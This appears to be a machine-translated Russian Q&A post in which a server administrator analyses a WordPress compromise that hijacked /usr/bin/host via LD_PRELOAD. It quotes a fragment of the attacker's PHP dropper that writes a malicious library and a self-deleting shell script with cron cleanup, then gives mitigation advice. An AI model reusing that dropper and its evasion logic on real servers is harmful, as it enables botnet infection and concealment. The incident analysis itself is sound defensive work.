Сегодня я заметил необычно высокую скорость запросов на веб-сервере Apache, а также довольно высокий входящий сетевой трафик. После проверки страницы Apache mod_status я обнаружил, что неправильные URL-адреса относятся к пути www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/
. И действительно, я нашел там несколько взломанных (запутанных) PHP-скриптов.
Также заметил странный процесс, выполняемый пользователем www-data:
www-data 7300 10.8 0.1 2122900 18768 ? Ssl Jul11 121:47 /usr/bin/host
Проверка /proc/7300/cmdline
выяснилось, что это действительно оригинал /usr/bin/host
двоичный. netstat -anp
показал, что у него открыто много HTTP-соединений, поэтому каким-то образом этим двоичным кодом злоупотребляют. debsums
подтвердил, что двоичная контрольная сумма в порядке. Поскольку процесс запускался под пользователем www-data, у меня не было оснований полагать, что сам сервер был скомпрометирован.
Как злоупотребляют этим двоичным кодом?
РЕДАКТИРОВАТЬ: это не широкий вопрос «как бороться с взломанным сервером». Скорее вопрос (и уже ответ) об одном конкретном типе злоупотреблений, как это технически делается, поскольку этот конкретный случай довольно творческий в том, как он работает. Кажется, что это в дикой природе уже несколько лет (старые темы и вопросы с 2012 года), и я столкнулся с этим на этой неделе.
Покопавшись в исходниках обиженных PHP скриптов и погуглив (эта тема), Я нашел объяснение.
Это часть system.php
код, который я нашел:
<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...
Как /usr/bin/host
участвует немного более продвинутый. Программы используют библиотеки (.so
files) для некоторых своих функций. Пользователи могут предварительно связать (LD_PRELOAD
) некоторые файлы .so перед запуском легитимного двоичного файла, чтобы изменить его действия.
Как видите, этот скрипт создает файл libworker.so
и использует LD_PRELOAD
переменная среды для предварительной загрузки, так что законный host
двоичный файл делает что-то совершенно другое.
Это создает 1.sh
shell-скрипт и пытается выполнить его несколькими способами (напрямую, используя at
команда, используя cron). Сразу после этого он удаляет файл скрипта и библиотеки с диска, чтобы его не заметили.
Во-первых, произошло злоупотребление каким-то уязвимым плагином Wordpress, и злоумышленник смог поместить свои файлы в каталоги с возможностью записи слов.
Смягчение означает анализ старых файлов журнала доступа для этого домена и попытки найти какие-либо POST
запросы в необычные места - например, прямой доступ к файлам PHP плагина WP / Joomla необычен. Затем удалите все найденные обфусцированные файлы PHP, исправьте права доступа к каталогам, прекратите работу host
обрабатывает и отслеживает файлы журнала на предмет попыток повторного взлома.
РЕДАКТИРОВАТЬ: У меня есть информация от ESET, что они уже обнаруживают эту конкретную библиотеку, а также другие версии. Антивирусные компании называют это Рупре и кажется, что он используется как часть Погром ботнет.
Глубоко анализ ботнета Mayhem.
Глубоко анализ этого эксплойта.